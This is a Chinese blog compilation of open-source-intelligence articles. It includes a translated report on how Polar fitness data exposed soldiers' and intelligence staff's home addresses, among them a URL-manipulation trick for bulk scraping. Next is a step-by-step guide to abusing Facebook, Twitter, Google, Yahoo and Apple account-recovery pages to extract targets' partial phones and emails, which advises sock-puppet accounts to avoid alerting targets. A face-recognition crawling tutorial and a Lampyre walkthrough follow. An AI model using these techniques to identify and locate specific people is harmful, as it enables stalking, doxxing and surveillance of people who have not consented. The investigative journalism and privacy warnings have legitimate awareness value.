但 Polar 应用程序中的疏忽却让记者们看到了他所有被记录下的活动。该应用程序显示了他唯一的用户号码（您可以在搜索中使用该数字）。这个地图没有意识到记者们正在寻找一个将自己的个人资料设置为私人的人，而此人的所有活动都被展示出来了。和名字一样好用。

例如，记者们看到，今年1月此人多次在马里巴马科的空军基地跑步。位于马里的空军基地的一名 MIVD 员工：听起来更像是一个收集外国情报用于军事用途的工作人员而不是普通的办公室工作人员。

记者们还看到此人在荷兰南部的一个新住宅开发区附近跑步。起初很难找到他的家庭住址，因为他的大多数行动都是在附近的公园开始

的。但这个可能的情报人员还被记录到了有一个跑步机在家里。于是现在记者们有了一个确切的地址。因为契约登记册提供了他的名字，并将记者们引向了他的 LinkedIn 个人资料。信息显示：此人是国防部的分析师。

几天后，当记者们走在他居所的街道上时，看到了他的邻居在洗车，在院子里工作，卸下杂货。在记者们找到的地址，看到一个男人穿着短裤坐在沙发上看电视。记者们立刻从他的 **LinkedIn** 照片中认出了他。记者们按门铃，他小心翼翼地打开门。当记者们告诉他是如何被找到的时候，他大吃一惊。他拒绝多说并将记者们引向国防部。然后尽可能快地关上了门。

可以肯定的是，这是一种令人不安的对抗。但实际上，在过去几周里，记者们站在了无数人的家门口，这些人完全有充分的理由将他们的家庭地址隐藏起来。然而他们却在毫无意识的情况下彻底暴露了自己。

记者们还搜索了 MIVD 的监听站及其周围，例如该国东部的 **Kamp Holterhoek**。该监听站拦截来自世界各地的无线电流量。当两名塔利班指挥官进行交流时，Holterhoek 的工作人员（理论上）正在倾听。可以理解的是，这个极其敏感的位置在 Google 地图的卫星图像上已经模糊不清了。但健身软件上却清晰可见。

「图」

「图」

记者们在那里发现了两个目标人。其中一个人在 Polar 应用程序中使用了他的真实姓名。他住在阿纳姆市附近。几天后，当记者们走近他的房子时，他正走到外面，招呼一个小男孩，大概是他的儿子。记者们决定放弃了。至少观点已经完成：任何完全陌生的人都可以被非常接近。

记者们甚至还找到了此人的一位同事，虽然他的个人资料设置为私人的，但这没问题：记者们只需要点击他的一次跑步，Polar 的应用程序就能播放出整条路线。路线从 Kamp Holterhoek 开始，在附近城镇的一片房屋附近结束。健身软件的行为登记告诉了记者们确切的地址 — 以及谁拥有那房子。而此人的 **Twitter** 简介说他在国防部工作。

记者们还广泛搜索了荷兰民间情报机构 AIVD 的潜在雇员，梳理了该

机构总部周围的区域，但什么都没找到。

也许 AIVD 的员工比 MIVD 的员工更了解健身应用带来的风险。或者也许，他们只是不喜欢跑步。

对于一些外国情报机构来说并非如此

理论上，美国国家安全局 NSA 是该国最隐秘的机构，一直因其隐秘性被调侃为“No Such Agency 没这么个局”。但在马里兰州的米德堡（Fort Meade）建筑群，记者们获得了黄金级信息 — — 识别到多个 **NSA** 员工及其家庭住址，包括：

- USCYBERCOM 官员，负责规划网络空间作业;
- 一名比利时军官，显然是访问美国，其任务包括保护比利时军队的在线网络。记者们也看到他在特勤局培训中心工作;
- 来自挪威和新西兰的几名外国军人;
- 美国海军的安全协调员;
- 美国空军的医疗规划和后勤负责人;
- 还有一名翻译。

「图」

一名 Fort Meade 的跑步者更难追踪。因为他在 Polar 上的信息设置为私人的。 Polar 的地图将记者们带到了他可能居住的一组房屋，但是无法确定确切的地址，因此无法使用这一技巧来确定他的身份。但是在同一个街区还有另一名跑步者，此人还定期在迈德堡进行比赛。她原来是一名网络犯罪应对专家。

记者们通过公共美国数据库查找她，发现她最近更改了名字。使用新名称，记者们终于找到了她和上述第一个跑步者所居住的房子。这不是记者们最初找到的地址，这对夫妇最近搬家了。他是一个特殊情报部门的一员。

记者们还在弗吉尼亚州匡蒂科的 FBI 培训中心和马里兰州劳雷尔的特勤局培训中心识别到了工作人员的身份。在北卡罗来纳州费耶特维尔的布拉格堡找到了多个人，那里是训练 **JSOC** 特种部队的地方 — 他们负责抓捕奥萨马·本·拉登。

记者们在弗吉尼亚州兰利市的 CIA 附近找不到任何东西。

虽然 Polar 的应用程序似乎在俄罗斯不太受欢迎，但记者们确实在那里找到了潜在的情报工作人员。

在莫斯科，可能的 GRU 员工数据暴露了他们。 Polar 的地图显示有人在 GRU 总部周围跑圈。

「图」

谷歌街景清楚地显示，该路线位于一个不向公众开放的区域。

「图」

记者们的俄罗斯目标人躲在私人档案背后，所以没有太多可以继续下去了，很明显俄罗斯人更警惕隐私问题。

但当记者们使用 URL 查询技巧查看他的所有活动时，却快速跟踪他到了莫斯科南部的一栋公寓楼。然后这条小路似乎走到了尽头：建筑物很大，有几十层楼。运气不错。

并且可以放大使其变得更近。 Polar 还显示海拔数据 — 对于在高海拔地区锻炼的人员非常有用。这些数据显示，许多跑步者的训练开始于海拔 300 码。在线地图展示了建筑物的底层从 180 码开始。然后使用 Google 地球专业版，测量建筑物，对比 **Polar** 提供的信息，最终确定是 **23** 层楼。

「图」

至此，记者们知道了有人在 GRU 里工作过; 他可能住在莫斯科南部，大概在 23 楼左右。但这只是一个开始。如果你愿意可以顺着这条线一直调查下去。关键在于，它展示了只要使用一般常识和一些简单的工具，即使在人口密集的地区也能轻松揭示一个陌生人的身份内情。

另一个跑步者更容易追踪。当记者们在埃尔比勒国际机场附近检查 Polar 的地图时，遇到了一位在那里工作的俄罗斯人。俄罗斯领事馆就在那不远处。当记者们梳理他所有记录时发现，此人也曾经出现在卡拉奇（巴基斯坦）和喀布尔（阿富汗），并且总是在俄罗斯领事馆和大使馆附近。

这个人在俄罗斯的 Polar 注册相当于 John Smith ，也在莫斯科南部的健身中心锻炼。俄罗斯搜索引擎 Yandex 透露，该位置是属于 SVR RF 的相邻综合体的一部分。

而另一方面，一名军情六处的员工实际上相当于将此人的房门钥匙交给了记者们。 Polar 的地图向记者们展示了今年1月的一次会议，当时他从 MI6 大楼的前门跑过 Vauxhall 大桥到泰晤士河的另一边，然

后绕过兰贝斯大桥向北环绕。记者们在 Polar 的搜索框和 bam 中输入他的名字：伦敦西部的一条街道，他的许多跑步开始和结束的地方。好了，伦敦电话簿完全可以查到此人确切的地址。

记者们甚至还在军情五处和英国最高情报机构 **GCHQ** 找到了可能在这里工作的员工。

可识别人员及其家庭住址的其他站点还包括：

- 法国驻扎核武器的军事基地;
- 在布鲁塞尔的北约总部;
- 巴黎的 DGSE 情报机构;
- 其他几个军事基地，包括无人机简易机场，在阿富汗，乍得，古巴，吉布提，德国，伊拉克（包括在巴格达的强化绿化区），意大利，马里，尼日尔，巴基斯坦，沙特阿拉伯，塞舌尔，土耳其和阿联酋。

其中最有趣的是 Vught 最大的安全监狱，荷兰最暴力的罪犯都被关押在那里。

第三阶段

到目前为止，在敏感站点搜索信息都是手工完成的; 现在开始记者们尝试更大规模地查找数据。 Polar 让这一切变得很容易。

这里有一点技术性。

假设您要查找 2017 年1月1日至4月1日期间在美国 Smallville 登录的所有健身者。您可以在 Polar 地图搜索框中键入 Smallville，就像在 Google 地图中一样。你会在左边看到一个菜单，让你输入你感兴趣的时间范围。你没看到的是这张地图 — 实际上是一个网络应用程序 — 创建了封装搜索查询的 URL 或 Web 地址。

Polar 使用其唯一 URL 来搜索用户数据库。生成的匹配将发送到前面的地图页面，现在将显示您的搜索结果。地图最多显示20个结果，并无法搜索超过六个月的时间段。

以下是地图对数据库的请求，简而言之：可以访问数据库的页面的 URL ＋地理区域的 GPS 坐标＋“从起始”日期和“到截止”日期。

记者发现完全可以手动创建这些 **URL**。这意味着可以直接向数据库询问想要的任何数据。根本不需要地图。更好的是：可以绕过几个地图

的过滤器，并要求一次查看**400**个结果，而不是地图会向我们显示的 20 个结果。还可以请求自 2014 年以来的所有活动 — 比地图允许的六个月最大值的时间范围大得多了。

因为很多人经常在某些固定区域内锻炼，所以必须聪明地使用查询。于是记者写了一个程序：

- 将地图区域的四个角（在 GPS 坐标中）作为输入;
- 将这个区域分成更小的部分;
- 将搜索（2014 年至今）的全部时间划分为三个月的分期;
- 并将所有这些组合转换为可以在数据库中触发的 URLs。

最终被列出了 **200** 多个有趣的地点：军事基地，核设施，情报机构办公室和拘留中心。这些网站的 GPS 坐标非常容易找到 — 通常使用谷歌地图，或通过维基百科就可以做到。

「图」

通过上述程序运行所有这些位置，并使用生成的 URL 来查询 Polar 的数据库。这样产生了一个大约六万个训练的列表（例如跑步和骑自行车），Polar 已经在这些位置记录了这些锻炼活动。他们中的每一个都会显示该人的唯一用户编号。即使其个人资料已被设置为私人，照样不耽误识别。

最终总共找到了 6,460 位用户。

怎么做？

可以使用 **Polar** 的唯一用户编号来创建新的 **URL**，以便搜索所有这些人的个人资料页面。他们中的许多人（大约 90%）填写了自己的名字和城市。其中一些信息无疑是假的。如果有人告诉你他是“Fast Freddie”，你仍然不知道他是谁。但在进行抽查的过程中，居住城市信息几乎总是真实的。

接下来，询问 Polar 的数据库，要求搜索整个世界的其他跑步者和骑自行车的人。令人惊讶的是，Polar 只要求提供这些信息，而该数据库返回了超过 650,000 个活动，包括几千兆字节的数据。 记者们下载了所有这些信息。

使用完整的活动列表，可以准确地确定这些人已经去过的所有地方。在干活，在办公室，度假 — 和在家里。可以搜索用户经常去的地方，并使用 Google 地图自动查找相应的地址。 使用简单的程序，您

就可以将 GPS 坐标转换为物理地址。最后记者们决定不这样做了。至少记者们的实验已经完成。

「图」

第四阶段：其他应用程序能做到这点吗？

记者们的最后一步是把几个类似的应用程序放在显微镜下审视。

第一个应用程序是 Strava。去年该公司向其用户和军事组织承诺，它将采取措施“更好地保护这类敏感信息”。但这是真的吗？

记者们很快发现，该公司的承诺并没有实现。确实具有敏感数据的热图不再公开; 你必须登录才能看到它，但是，创建帐户并获取对该数据的访问权只需要一分钟。

记者们甚至还发现了一些额外新事物：即，**Strava** 不仅可以识别军事基地和其他敏感地点，还可以识别个人及其地址。很快确定了以下信息：

- 美国军方的一名检察长，他在关塔那摩湾附近跑了一圈;
- 伊拉克北部埃尔比勒国际机场的几名美国士兵;
- 在马里加奥的一个军事基地的几名法国士兵;
- 还有一位美国分析师在马里兰州的米德堡（Fort Meade）工作，国家安全局就在那里。

简而言之：Strava 完全没有解决它的隐私问题。

下面测试的另一个应用程序是来自 Under Armour 运动服装品牌的 **Endomondo**。使用这个应用程序，很容易找到以下内容：

- 关塔那摩湾的三名警长和一名系统管理员;
- 米德堡参谋长联席会议顾问;
- 埃尔比勒国际机场的两名士兵。

最后记者们又测试了 **Runkeeper**。相比下使用这个应用程序比较难确定身份，并且更难找到地址，但记者们依旧在 Gao (Mali)，Volkel 军事基地（荷兰）和关塔那摩湾找到了几个用户。

不仅仅是隐私问题

这不是一个普通的隐私问题，无法使用几个软件补丁和更好的常见问

题解答来修复它。这是一个安全问题。

为了保持安全，需要让自己和家人远离公众视线的人们最好避免使用这些类型的应用程序，或者至少仔细考虑它们泄露的信息你能否承受得了。即便是普通人，如果你不想因为网上晒生活而遭到入室抢劫的话，也最好别用这些应用程序。

雇主们必须确保现有的安全措施不会被这种数字污染所破坏。科技公司必须意识到他们收集、存储和与世界其他地方分享的数据的敏感程度 — 以及随之而来的责任。

> All names in this article have been changed. Translated from Dutch by Grayson Morris and Rufus Kain. The original articles in Dutch can be found here.

"Here’s how we found the names and addresses of soldiers and secret agents using a simple fitness app"

PS: 原文发表于我们的博客：https://iyouport.wixsite.com/iyouport/blog/

我们的另一个博客在这里：https://steemit.com/@iyouport

在 Google 关注 iYouPort: https://plus.google.com/b/104314277918209223775/104314277918209223775

在 twitter 关注 iYouPort: https://twitter.com/iyouport_news

原文

如何使用账户恢复功能追踪目标人？

开源情报-每个人都可用的武器

直接搜是否能搜到将取决于目标人的隐私设定状态；但是，使用一些小技巧就可以绕过这点，无论其隐私设置如何，都能挖到线索

「图」

如果您已经上网有足够长的时间，那么很有可能会有只登录了一两次然后就被忘掉了的网站的帐户。

许多平台采用了帐户恢复技术，该技术旨在帮助那些已经不记得其登录信息的用户。

但是，这个功能有可能给你带来危险 —— 这里假定本文的读者都是好孩子。当然，这一风险对于任何人来说都是如此，所以它攻防兼备。

对于密码重置功能的危险性我们去年演示过，见这里《"如何仅仅通过电子邮件挖到你的电话号码：一种新的开源情报追踪方法"》（有视频）。

以上是攻击演示，但不仅如此，普通的开源情报调查也可以利用这一方法来收集有关目标的更多情报。

尽管可以在许多网站上使用此功能而且会产生不同的效果，但是当您仅需要一小段信息（电子邮件或电话号码）时，以下这些网站都可以为您的调查目标提供一些最佳线索。

本文假定您计划的开源情报调查是正义的目的。下面介绍这件事可以怎么做。

不要错过一个简单但很有效的工具，见《如何侦查电子邮件和电话号码？开源情报调查工具》。

Facebook

「图」

在收集有关目标的可识别信息时，Facebook 是圣杯。

您可以使用目标的电子邮件地址或电话号码来利用 Facebook 上的帐户恢复技术。

导航至此处的 “Facebook 帐户恢复” 页面。输入目标的电子邮件或电话号码，然后单击搜索。下一页将显示与搜索条件关联的帐户的结果。

如果您通过电话号码搜索，它将返回仅显示第一个字符的关联电子邮件。

请注意，电子邮件中显示的星号数量与实际未编辑的电子邮件中的字符数量不一致。

通过电子邮件地址搜索将返回与目标账户相关联的电话号码，只显示最后两位数字其余部分被遮挡。

并且上述这两个条件都将返回个人资料照片和与该帐户关联的名字。

您可以获取这些信息，然后在 Facebook 上搜索此技术提供的目标名字，然后搜索匹配的个人资料照片，以找到目标的实际个人资料。

请记住，可以通过 Facebook 的电子邮件或电话号码搜索用户的前提是，目标用户将其设置为允许读取。但是，使用帐户恢复技术将直接返回帐户的电话号码和电子邮件，无论目标人是否隐藏了它们。

Twitter

「图」

如果您的目标用户没有 Facebook 帐户，那么下一步就是寻找其 Twitter 帐户。

转至 Twitter 的帐户恢复页面在这里，输入目标的电子邮件或电话号码，然后单击搜索。

此搜索也可以使用目标的 Twitter 用户名来完成。

与 Facebook 不同，无论您输入目标的电子邮件还是电话号码，Twitter 的结果似乎都是一致的。

如果有任何匹配的帐户，Twitter 将显示连接到该帐户的电话号码的最后两位以及部分字符遮挡的电子邮件地址。

而且，Twitter 的被编辑后的电子邮件地址结果将包含与实际电子邮件地址相同数量的字符。记住这点，和 Facebook 不一样。

电子邮件域的第一个字符也将帮助您缩小推测电子邮件提供商的范围。在其他平台上寻找潜在的可能性时，请记住这一点。（P 可能代表 protonmail；g 可能代表 Gmail，等等）

Gmail

「图」

如果您的目标拥有 Google 电子邮件地址，则可以使用 Gmail 的帐户恢复功能提取其名字。

请注意：我们将"使用此处的" **Google** 登录页面，而不是使用需要额外验证的 **Gmail** 帐户恢复页面。

只需输入目标的 Gmail 地址，然后单击下一步。

如果您不知道目标的 **Gmail** 地址，但知道目标人在多个平台上使用相同的用户名，那么最好尝试使用该用户名并查看是否出现匹配项。

成功后下一页将显示用户的名字和问候语。

尽管目标人的名字可能不如电话号码或电子邮件地址更有价值，但它确实有助于完成对目标整体情况的了解，并有助于缩小可能的调查范围。

Yahoo

「图」

在 Yahoo 电子邮件中使用帐户恢复技术可以帮助缩小目标信息的范围。

在此处打开 Yahoo 登录页面，然后单击 “the trouble logging in” 链

接。

输入目标的 Yahoo 电子邮件地址，然后单击继续。

下一页将返回与帐户相关联的电话号码和电子邮件地址（均已部分遮挡）。

与以前的平台不同，现在雅虎还提供目标区号的第一位和最后两位数字。

同样，电子邮件地址将返回整个名字的第一位和最后两位字符，以及完整的电子邮件域。

但是请记住，雅虎部分遮挡的电子邮件无法准确反映与实际电子邮件地址相同的字符数。这点和 Facebook 一样。

Apple

「图」

对于具有 icloud 电子邮件的目标，可以使用 Apple 的ID恢复页来获取有关帐户的关联电话号码的部分信息。

只需转到此处的帐户恢复页面，然后输入目标的 iCloud 电子邮件地址，然后单击继续按钮即可。

下一页将显示一个部分遮挡的电话号码，提供该帐户号码的最后两位数字。

尽管单独使用并不能完全有用，但是，事实证明，如果目标用户没有以其他方式将其电话号码链接到使用过的社交媒体帐户上，则可以通过 Apple 来收集目标用户的电话信息。

结论

尽管此调查技术可在许多其他网站上使用，但上述平台是在追踪目标方面最一致地提供可行情报的前五名。

请记住，某些网站确实会向目标发送验证电子邮件或文本。如果发生这种情况，您的目标可能会知道有人正在尝试登录。

这可能导致他们转移到另一个电子邮件或社交媒体帐户以进行下一步

活动。

因此，如果您决定在上述平台以外的平台上尝试使用此技术，强烈建议您像以前那样做 —— 创建一些临时的袜子木偶账户。

在这里看到袜子木偶做法，以及分身法：

- 《某些行动者，你需要一个袜子木偶》；
- 还有《袜子木偶管家》工具，管理多个分身；
- 关于分身的技巧《分身术完整指南：妥善管理您的在线身份并获得安全的方法》。

○

原文

如何使面部识别技术为公民所用？- 开源情报方法 - iyouport

开源情报-每个人都可用的武器生物识别-眼下最严重的威胁，以及怎么办

【2020年4月10日存档】将看起来可怕的技术用于公民事业是有可能的

分析照片和社交关系是社交工程攻击中的重要组成部分。（在这里看到 “社交工程” 专栏）。

了解一个人是谁、以及他们认识谁，至关重要 —— 可以使用此信息来执行精心设计的社交工程攻击。

开源情报是一个术语，用于指代对一切公开来源数据进行的收集、评估和应用。

引用中央情报局的话那就是：“信息不一定必须机密才有价值。无论是在浏览的博客中、在观看的广播中、还是在阅读的专业期刊中，都有无穷无尽的信息可以帮助我们了解世界……”。

听着有点吓人吗？你的一举一动都是情报？是的，它就是如此 —— 在有目的的人眼中。这就是为什么说你应该小心，要非常小心。

在互联网上找到此类信息的最常见形式之一并不是纯文本，而是以照片形式存储的。

传统上，这些图像必须由观看者手动过滤以确定和评估其内容，但是由于有了面部识别软件，整个过程可以完全自动化。

面部识别已经引起了许多有关生物识别技术伦理问题的新闻和讨论，以及该技术对数据收集和隐私的影响。（参见 “生物识别及对抗方法” 栏目）

尽管该技术经常在 Facebook 等平台上使用，并在全球范围内的执法

中得到广泛使用，但是，允许人们根据自己的目的使用面部识别的后端技术现在已经很容易获得，并可以在开源自由软件项目中实现。

这是一种民主化均权的方法。

将看起来可怕的技术用于公民事业是有可能的，还记得我们介绍过的使用AI作为调查记者工作的辅助吗？在这里《如何迎接更多的“巴拿马文件”？》

在本教程中，我们将使用 Face Recognition Python 库基于其中的图像来分析和发现目标人。

并且将研究如何搜寻和发现成批的图像，以及如何生成有关目标人或网站的统计信息和结论。

- 不要错过《人脸识别可以自制，你知道吗？而且非常简单》

马上开始。

第一步：安装

「图」

这里将使用的 Python 库 Face Recognition 可通过 Linux 和 macOS 上的 Pip 包管理器直接获得。

虽然 Windows 上没有正式支持这个包，但可以提供安装指南以及预配置的虚拟机映像。

在开始安装之前，请确保您的操作系统是最新的。

在基于 Debian 的 Linux 发行版（如 Ubuntu 和 Kali）上，可以通过运行以下命令来更新存储库并安装新软件。

```
sudo apt-get update &amp;amp;&amp;amp; apt-get upgrade
```

虽然在某些发行版中默认包含了 Pip，但也可以通过运行以下命令来安装它。此命令将获取软件包的最新版本并进行安装。

```
sudo apt-get install python-pip
```

安装Pip后，可以通过运行以下命令使用它来安装 Face Recognition

库：

```
sudo pip install face_recognition
```

一旦 Pip 安装完成，该库就可以使用了！

第二步：组织数据进行分析

「图」

用 Python 实现的用于面部识别的库意味着可以相对轻松地将其实现到其他应用程序中。

也就是说可以更简单地将面部识别功能添加到网络监视摄像头实时流、网络爬虫、或其他以数字方式显示包含面部的图像或视频的格式。

但是，这需要编写额外的原始代码。

相反，本教程将使用随附的命令行工具，并将其与其他系统实用程序结合起来，以执行类似的任务，而无需编写新的脚本。

随附的命令行工具旨在处理两批文件。一个文件夹包含一组可识别的面孔，另一文件夹包含用户希望进行识别的一组图像。

要创建一组图像以过滤出特定的个人面孔，可以使用Wget递归下载一个网站，例如下面的网站。当然，研究人员可以尝试下载尽可能多的潜在相关图像。

Wget 可以从命令行进行操作，并且可以用于下载任何内容，从单个页面或图像到整个网站。如下所示的命令将跟随给定域中的每个链接，并下载该页面上所有可用的内容。

可以随时按 Ctrl + C 退出此命令，否则它将一直运行到给定请求完成为止。

```
wget -p -r -E -e robots=off—convert-links -U
mozilla—level 1 whitehouse.gov
```

「图」

- **-p** 指定该工具还将下载其他内容，例如图像、样式表和脚本。

- **-E** 要求每个下载的文件都以其完整文件扩展保存，这将使您更容易过滤图像。
- **-r** 用于递归，因此也可以下载链接和其他目录。
- 在字符串的后面，递归级别指定为 **-level1**。这可以确保索引页面中的链接被跟踪一次。1可以改为其他想要的数字，也可以删除该标志以尝试无限递归。
- 如果希望确保不从其他网站下载任何文件，则可以使用 **-domain**，后接该命令应限制到的域。
- 递归请求可能会被阻止或在某些服务器上引起问题，因此您可能需要通过使用 **-w** 在请求之间创建延迟来限制递归或限制请求速度。
- 使用 **-e robots＝off** 可以避免将请求作为不受欢迎的Web爬网程序而被拒绝或阻止。
- 出于相同的原因，**-U mozilla** 用于指定应使用 Mozilla用户代理，以便该工具看起来像是Web浏览器。
- **-convert-links** 为了重新格式化链接，以便可以更轻松地离线使用该页面。虽然这对于筛选从站点下载的图像来说不是必需的，但它可以更便于追溯以确定图像在网页上的位置。

一旦让程序运行了所需的时间，就可以在新目录中复制所有图像文件，以便更轻松地使用它们。首先，通过运行以下命令创建一个新目录。

```
mkdir unknown_faces
```

接下来，通过运行以下两个命令将所有从 Wget 请求中检索到的图像文件复制到此新目录中，第一个用于JPG文件，第二个用于PNG文件。**urlfolder** 应替换为Wget创建的文件夹的名称，通常对应于初始命令中使用的URL或域。

```
cp urlfolder**/*.jpg unknown_faces/ cp
urlfolder**/*.png unknown_faces/
```

cp 命令将复制所有匹配的文件，后跟目录参数，在本例中为whitehouse.gov。此目录后的**（双星号）指定递归，对于任何JPG或PNG图像，后跟一个*（通配符）。最后一个参数指定应将文件复制到 **unknown_faces** 目录。

「图」

这些图像移到新目录后，可以使用 **ls** 来查看此文件夹中的文件。下

面的命令将列出 **unknown_faces** 文件夹的内容。

```
ls unknown_faces/
```

还可以使用|重定向运算符来转发此命令的输出，为了统计发现了多少个图像文件；稍后在识别一组图像中给定面部的频率时会很有用。

可以通过运行以下命令来完成：

```
ls unknown_faces/ | wc -l
```

「图」

此命令的输出显示 Wget 保存了178个图像文件。一旦准备好使用这些图像，就可以为要在该数据集中找到的面孔创建一个肯定的识别列表。

第三步：准备识别列表

「图」

要开始准备已知身份和面孔的列表，请在要解析的图像目录之外创建一个新文件夹。

在Wget创建的目录中，可以通过运行 **cd ../** 向上移动一个目录，通过运行 **mkdir known_faces** 创建一个名为 **known_faces** 的新目录，最后通过运行 **cd known_faces** 进入该目录。

「图」

创建此目录后，可以将希望用作肯定鉴定列表的所有文件保存到此文件夹。

任何人的清晰照片都是面部识别的理想选择，例如经常用作“联系人”页面上的个人资料照片。确保在任何已知的脸部照片中只看到一张脸。

可能还需要为文件命名一个与照片中的人相对应的名称，因为这样就可以在做出任何肯定的标识时返回照片的文件名。

准备好这些目录后，即可运行 **face_recognition** 命令行实用程序。

第四步：使用面部识别来识别个人

「图」

Python Face Recognition 库附带的命令行实用程序相对简单，只需两个参数即可运行。第一个是已知面孔的目录，第二个是尝试识别的面孔的目录。

这些文件夹按照前面的步骤命名，下面的命令将运行该工具。

```
face_recognition known_faces/ unknown_faces/
```

程序运行时，它将返回文件名，后跟一个特定人的肯定标识，一个未知人的否定标识，或者如果图像中没有面孔，则标记为找不到任何人。

为了使这些结果对自动数据处理更加有用，可以运行相同的命令后跟 」 重定向器，将程序的输出发送到文本文件，例如下面的示例。

```
face_recognition known_faces/ unknown_faces/ 」
results.txt
```

可以使用此文本文件作为参考，以分析和利用面部识别的匹配结果。

第五步：分析面部识别匹配

「图」

从面部识别工具了解数据结果的一种可能方法是查找与特定识别的面部匹配的所有文件。

可以使用 **grep** 和 **results.txt** 文本文件来查看使用给定面孔进行的每次匹配。下面的命令将返回文本文件中用 Donald Trump 标识的每一行。

```
grep “Donald Trump” results.txt
```

还可以结合使用其他系统实用程序，通过运行以下命令来确定程序每个结果的频率。

```
cat results.txt | sed ‘s/.*,//’ | sort | uniq -c
```

首先，运行 **cat results.txt** 会将 results.txt 的内容作为标准输入读取。这被发送到 **sed**，在此删除每行之前（包括逗号）的所有内容。然后结果列表发送到 **sort**。最后它用作 **uniq** 的输入， **-c** 参数的结果是计算每行的出现次数。

「图」

这将产生一个列表，其中每个结果均以其相应的频率列出，从而允许对较大的数据集进行简单分析。

如果希望查看由面部识别工具识别的特定图像，则可以使用类似的技术。可以使用下面的命令来生成一个新的文本文件，是文件名的列表，由程序用给定的结果标记并保存在先前的输出文件中。

```
grep “Donald Trump” results.txt | sed ‘s/,.*$//’
」 identified.txt
```

在这种情况下，将使用 result.txt 文本文件中的 **grep** 搜索所有标识为 Donald Trump 的图像。 这些结果作为标准输入发送到 **sed**，在其中包括逗号在内的所有内容均从每一行中删除。最后，重定向运算符 」 将输出发送到名为 **Identification.txt** 的文本文件。

如果运行诸如 **head Identification.txt** 之类的命令，将看到该文件仅包含文件名。可以将此文件名列表用作简短脚本的输入，以将这些文件中的每个文件复制到新文件夹中。

可以通过运行以下命令来使用 Nano 创建一个新的脚本文件。

「图」

```
#!/bin/bash

mkdir identified

while read line; do

filename=$(echo $line | sed ‘s/.*\///’)

cp $line identified/$filename

done 「 identified.txt
```

- **#!/bin/bash** 声明该脚本用于Bash。
- 第二行创建一个新目录，命名为 **identified**，所有肯定标识的图像都将移至该目录。
- 第三行与最后一行结合使用，读取文本文件 **identified.txt** 作为输入，以便在 while 语句中单独修改文件的每一行。
- 第四行创建一个名为 **filename** 的变量。将此变量分配给不带目录位置的文件的文件名，使用 **sed** 删除每行中斜杠之前的所有字符。
- 最后一行使用此变量，将 identified.txt 文本文件中的每个文件复制到 **identified** 目录并分配其原始文件名。

通过按 Ctrl + O 进行保存，然后就可以使用 Ctrl + X 退出程序。将脚本另存为 **identified.sh** 后，可以通过运行以下命令来向文件添加执行特权。

```
chmod +x identified.sh
```

现在，只需输入 **./identified.sh** 并按 Enter / return 键即可运行脚本本身。

「图」

脚本运行完成后，您可以导航到“ identified”目录，并查看发现的所有与您的特定查询相匹配的图像！

这种自动过滤的过程可以解决传统上耗时的问题 —— 需要大量的人工干预才能识别和分类图像的那种工作量。

防止面部识别

「图」

不幸的是，防止面部识别的唯一真正保护措施就是限制您的脸部的曝光 —— 不论是在线还是现实。

这可能意味着对帐户使用更严格的隐私设置，选择不使用社交媒体，甚至尝试在公共场合隐藏自己的脸。显然这些预防措施中的许多都非常不方便。

通常，面部识别的危险更多是与附加到在线个人资料或照片的给定实例上的数据有关，而不是照片本身。

比如，如果没有任何数据库中存在 Trump 的名字和简介，那么他的照片即便被读取也会显示为 “没有匹配”。但是，不幸的是，政府掌握的数据库中包含我们每个人的详细资料，而且我们无权对其进行删改。

- 《这些间谍如何把你的照片变成了监视工具？》
- 《数百万照片数据库秘密聚集在美欧以开发面部识别：中国享用了多少？》
- 《你曾经在社交网络上发布过自己的照片？你危险了！》

⚠请记住，无论何时选择在线保存任何图片或信息，你都无法完全确定这些信息最终会落在谁手里 —— 我们中没人能控制这点。

所以，切切谨慎！

关于如何抵制现实中的人脸识别监控：

- 《让面部识别失效的思考方式》
- 《在你的日常生活中应用隐蔽野战技术：简单方式抵御敌对监视》

○□

原文

如何侦查电子邮件和电话号码？开源情报调查工具 - iYouPort

开源情报-每个人都可用的武器

极简，不可思议的简单 —— 尤其适合初学者

「图」

「图」

Lampyre 是基于 Windows 的数据分析工具，可用于各种各样的分析，包括犯罪调查、地理位置追踪、网络威胁和金融情报等等。

我认为 **Lampyre** 是开源情报调查初学者的绝佳工具，原因有以下三个：#便捷的数据可视化，一目了然

- 不需要 Linux，害怕 Linux 的人有福了
- 不需要您折腾 API，简单说无需基础

本文将演示一种简单的调查方法，关联并可视化来自电子邮件地址和电话号码的数据。正如您所知道的，这是几乎每一项调查的基本阶段。

Lampyre 在其网站上确实提供了类似的文档，但是，本文将提供一些其他方式，目的是将信息用于开源情报调查。

首先，我们需要开始新的调查（或导入调查）。 **File」New Investigation** 将文件保存在您喜欢的任何位置。

这将打开一个空白调查，开始您的搜索。

「图」

「图」

要开始搜索特定项目，您需要打开请求列表。**Windows」List of**

Requests

「图」

「图」

“请求列表”窗口将弹出，并允许您选择搜索条件。

对于此演示，我们将从左侧窗格中选择“电子邮件和电话号码”。

选择后您将在右侧看到特定的参数，并允许您输入信息。现在在这些框中输入目标的电子邮件和电话号码。

在“任务”窗格中，您可以指定要搜索的帐户/站点，但一般来说，我会检查所有帐户/站点。

添加/选择所有这些后，单击执行。

「图」

「图」

完成后，请求将开始变为绿色。

「图」

「图」

完成所有请求后，突出显示整个列表，单击顶部的 **Schema**，然后一直向下滚动到底部，显示“所有模板 **All Templates**”。

「图」

「图」

选择此项将为您提供与下面图显示的类似的模式，这显然会因目标而异。

本演示已经保护了目标人的身份，但是您可以看到一些用于开源情报研究的有趣的东西。

Gravatar 可用于提供其他信息以及与其他帐户的相关性，Flickr 可用于收集目标用户的家人或朋友的情报，Foursquare 允许您定位目标或

为您提供相关信息，Runkeeper 可以提供目标的健身方式或位置。

「图」

「图」

「图」

「图」

你可以使用的其他数据源包括数据泄露中收集到的信息。以下是 Micah Hoffman 精彩的10分钟技巧视频，您可以参考学习：

总体而言，Maltego 作为侦探神器一直被认为是进行更深入分析的首选程序，在这里看到我们曾经做过的详细介绍《社交工程工具用于开源情报调查：0基础初学者指南》；但我发现 Lampyre 超级简单，可用于基本的电子邮件侦查，而无需您折腾 API。

对于开源情报的初学者来说，从使用此工具开始实践是非常好的主意，以练习从收集到的信息中获取情报的思路。

我唯一希望的是 Lampyre 可以提供更多视频教程以演示分析数据。期待他们在培训方面更多完善。〇

广告

原文

如何像情报分析师一样研究和挖掘数据？不仅仅是工具演示 - iYouPort

开源情报-每个人都可用的武器

变成专业人士！您需要的是一套科学的思考和操作流程；还有一个趁手的工具

「图」

「图」

不止一次介绍它啦。您有没有下载那本书？绝大多数最厉害的工具的介绍和演示，在这里：https://t.me/iyouport/6422

